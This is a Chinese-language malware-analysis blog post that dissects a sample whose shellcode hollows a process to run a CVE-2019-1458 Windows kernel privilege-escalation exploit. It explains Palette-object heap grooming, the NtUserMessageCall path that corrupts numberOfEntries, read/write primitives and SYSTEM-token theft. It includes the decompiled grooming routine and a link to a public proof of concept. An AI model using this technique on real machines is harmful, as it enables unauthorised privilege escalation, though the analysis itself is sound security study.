经过分析发现这段shellcode通过内存加载运行了位于其中的dll文件
将其dump出来后经过分析发现其实现了傀儡进程了那一套,替换的进程就是CVE-2019-1458的32位提权exp
exp中首先根据不同系统版本使用不通方法获取了NtUserMessageCall
的地址、并初始化了一些内核结构成员的偏移数组
随后根据不通系统版本采用了不同的内存占位对象,我测试的环境Win7 x86 sp1
是采用的Palette
对象,因为在Win7中可以通过GdiSharedHandleTable
来泄露GDI对象的内核地址,所以在exp中通过不断地申请一对Palette对象,使两者内核地址之差为0x2000,通过后面分析可知,该样本利用这个有条件的任意写修改了位于内存上方的Palette2的numberOfEntries
,然后通过越界写修改位于内存下方的Palette3的ptr_PALETTEENTRY
指针,从而将这个有条件的任意写漏洞转换为了任意地址读写
signed int sub_401B40()
{
unsigned int v0; // edx
HPALETTE palette1; // ebx
HPALETTE palette2; // eax
HPALETTE v3; // edi
int v4; // edx
unsigned int v5; // esi
unsigned int v6; // eax
bool v7; // cf
bool v8; // zf
HPALETTE v9; // eax
int v10; // edx
HPALETTE v11; // edi
unsigned int v12; // eax
v0 = Palettle_array_index;
while ( v0 < 0xFFD )
{
stru_4081C0.palVersion = 0x300;
stru_4081C0.palNumEntries = palette_number;
memset(stru_4081C0.palPalEntry, 1, 8192u);
palette1 = CreatePalette(&stru_4081C0);
palette2 = CreatePalette(&stru_4081C0);
v3 = palette2;
if ( !palette1 || !palette2 )
break;
v4 = Palettle_array_index + 2;
Palettle_array1[v4] = palette1;
Palettle_array2[v4] = palette2;
Palettle_array_index = v4;
v5 = GetGdiKernelAddress(palette1);
v6 = GetGdiKernelAddress(v3);
v7 = v5 < v6;
v8 = v5 == v6;
if ( v5 >= v6 )
goto LABEL_9;
if ( v6 - v5 == 0x2000 ) // 保证两个Palettle对象地址足够接近
{
handle_Palettle_1 = palette1;
kernelAddress_Palettle_1 = v5;
handle_Palettle_2 = v3;
kernelAddress_Palettle_2 = v6;
LABEL_12:
v9 = CreatePalette(&stru_4081C0);
v10 = Palettle_array_index;
v11 = v9;
dword_4041A0[Palettle_array_index] = v9;
Palettle_array_index = v10 + 1;
v12 = GetGdiKernelAddress(v9);
if ( v12 > kernelAddress_Palettle_2 && v12 - kernelAddress_Palettle_2 == 0x2000 )
{
kernelAddress_Palettle_3 = v12;
handle_Palettle_3 = v11;
sub_4017F0();
return 1;
}
if ( v12 < kernelAddress_Palettle_1 && kernelAddress_Palettle_1 - v12 == 0x2000 )
{
handle_Palettle_3 = handle_Palettle_2;
kernelAddress_Palettle_3 = kernelAddress_Palettle_2;
handle_Palettle_2 = handle_Palettle_1;
handle_Palettle_1 = v11;
kernelAddress_Palettle_2 = kernelAddress_Palettle_1;
kernelAddress_Palettle_1 = v12;
sub_4017F0();
return 1;
}
}
else
{
v7 = v5 < v6;
v8 = v5 == v6;
LABEL_9:
if ( !v7 && !v8 && v5 - v6 == 0x2000 )
{
handle_Palettle_2 = palette1;
kernelAddress_Palettle_2 = v5;
handle_Palettle_1 = v3;
kernelAddress_Palettle_1 = v6;
goto LABEL_12;
}
}
}
随后创建了一个MySwitchWnd
窗口并调用NtUserMessageCall
,通过在IDA中分析win32k!NtUserMessageCall
后发现NtUserMessageCall
只是个分发函数,其最终的处理函数由其参数Msg和dwType
决定,通过windbg中调试发现在Msg = 0x1 dwType = 0xE0
时,最终的调用流向了win32k!xxxWrapSwitchWndProc
通过windbg动态调试发现gpsi->mpFnid_serverCBWndProc[6]
为0,而exp中创建的窗口的Class中将cbwndExtra
设置为4,且新创建的窗口cbwndExtra
的内容为0,因此通过此次NtUserMessageCall
调用绕过了一下三个检查成功将hwnd->fnid
设置为0x2A0
接着将实现回到exp中,发现其通过SetWindowLongW
将hwnd->cbwndExtra
设置为Palette内核地址-0x40的值,随后创建了#32771
窗口,这个窗口类在msdn中解释为用于任务切换窗口,至于创建这个窗口的作用,就是将gpsi->mpFnid_serverCBWndProc[6]
设置为0xB4用于绕过后面的检查,然后通过SetKeyboardState
将ALT键的状态设置为press,最后再次调用了NtUserMessageCall
在第二次调用NtUserMessageCall
时Msg = 0x14
并且此时hwnd->fnid = 0x2A0
,因此调用在xxxSwitchWndProc
中流向了xxxPaintSwitchWindow
在xxxPaintSwitchWindow
中调用Getpswi
检查了a1->cbwndExtra + 0xB0 != gpsi->mpFnid_serverCBWndProc[6]
,由于在前面样本中已经创建了#32771
窗口来将gpsi->mpFnid_serverCBWndProc[6]
初始化为0xB4,因此Getpswi
在检查通过后返回了hwnd->cbwndExtra
的值,在简单的检查了当前ALT
键是否被按下后调用了_GetClientRect
漏洞函数。现在我们知道v1 = a1->cbwndExtra = kernelAddress_Palettle_2 - 0x40
,因此_GetClientRect
第二个参数v1 + 0x48之后其实是指向了 kernelAddress_Palettle_2 + 8
在_GetClientRect
中我们观察到了有对第二个参数(也就是kernelAddress_Palettle_2 + 8)赋值的操作,并且在windbg中观察到lprc[3]
就是kernelAddress_Palettle->numberOfEntries
的地址,其被赋值为a1->rcClient.bottom
,这个值是由我们创建窗口的大小和位置决定的,exp中这个值为0x7000。因此通过被扩大的kernelAddress_Palettle->numberOfEntries
来达到越界修改的效果
在kernelAddress_Palettle->numberOfEntries
被增大为0x7000后,就可以通过GetPaletteEntries
和setPaletteEntries
构造读写原语
构造好读写原语后,exp中采用了读取system token并替换指定进程token的方式进行了提权
https://github.com/piotrflorczyk/cve-2019-1458_POC
原文:https://www.cnblogs.com/DreamoneOnly/p/12774145.html